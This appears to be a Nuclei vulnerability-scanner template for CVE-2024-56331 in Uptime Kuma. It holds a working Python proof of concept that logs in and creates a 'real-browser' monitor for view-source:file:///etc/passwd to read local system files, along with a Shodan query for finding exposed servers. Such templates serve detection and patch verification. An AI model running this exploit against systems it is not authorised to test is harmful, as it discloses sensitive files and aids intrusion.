id: CVE-2024-56331

info:
  name: Uptime-Kuma - Local File Inclusion (LFI)
  author: hyni03
  severity: critical
  description: |
    Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature.
    By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot
    of local sensitive files, because the user input is not validated by the server.
  impact: |
    An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging
    the "real-browser" feature, leading to potential information disclosure of sensitive system files.
  remediation: |
    This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56331
    - https://github.com/griisemine/CVE-2024-56331
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
    epss-score: 0.59386
    epss-percentile: 0.98271
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
    product: uptime-kuma
    vendor: uptime-kuma
  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  HOST: "{{Hostname}}"

code:
  - engine:
      - py
      - python3  # Requires python installation on the system
    source: |
        import os
        import time

        try:
          import socketio
        except ImportError:
          raise ImportError("The 'socketio' library is not installed. Please install it using 'pip install python-socketio'.")

        # Load environment variables
        USER = os.getenv('username')
        PASS = os.getenv('password')
        HOST = os.getenv('HOST')
        PORT = os.getenv('PORT')

        # Configuration settings
        CONFIG = {
            "server_url": f"ws://{HOST}",
            "credentials": {"username": USER, "password": PASS},
            "request_types": {"real_browser": "real-browser", "http": "http"},
            "url_prefix": {"view_source": "view-source:file://", "file": "file://"}
        }

        TARGET_FILES = ["/etc/passwd"]

        client = socketio.Client()

        def connect_to_server(url, retries=3, delay=2):
            for attempt in range(retries):
                try:
                    client.connect(url, wait_timeout=10)
                    print(f"[+] Connected to: {url}")
                    return True
                except Exception as e:
                    print(f"[!] Connection attempt {attempt + 1}/{retries} failed: {e}")
                    time.sleep(delay)
            return False

        try:
            if not connect_to_server(CONFIG["server_url"]):
                print("[!] Unable to connect to the server. Exiting.")
                exit(1)

            # Attempt login
            login_resp = client.call("login", {
                "username": CONFIG["credentials"]["username"],
                "password": CONFIG["credentials"]["password"]
            }, timeout=10)

            if login_resp and login_resp.get("ok"):
                print("[+] Login successful")
                # Process each sensitive file request
                for file_path in TARGET_FILES:
                    req_type = CONFIG["request_types"]["real_browser"]
                    # Use view-source prefix in real-browser mode
                    url_prefix = CONFIG["url_prefix"]["view_source"] if req_type == CONFIG["request_types"]["real_browser"] else CONFIG["url_prefix"]["file"]
                    target_url = f"{url_prefix}{file_path}"

                    print(f"[~] Sending {req_type} request for: {target_url}")

                    add_payload = {
                        "type": req_type,
                        "name": f"{req_type} request for {file_path}",
                        "url": target_url,
                        "method": "GET",
                        "maxretries": 0,
                        "timeout": 500,
                        "ignoreTls": True,
                        "accepted_statuscodes": ["200-299"],
                        "conditions": "[]"
                    }
                    response = client.call("add", add_payload, timeout=15)
                    print(f"[+] Response for {file_path}: {response}")
            else:
                print("[!] Login failed. Please check credentials.")
        except Exception as err:
            print(f"[!] An error occurred during execution: {err}")
        finally:
            client.disconnect()
            print("[*] Disconnected from the server")

    matchers:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
# digest: 4a0a004730450221008e096875d5204d75dcad883de1cca10a8f7f4dc4f78a51a2adb2bb881bf7b75802206ab232d85ab8d007923a1866298368747c2df59f54dc5eafcdbb8703412206d8:922c64590222798bb761d5b6d8e72950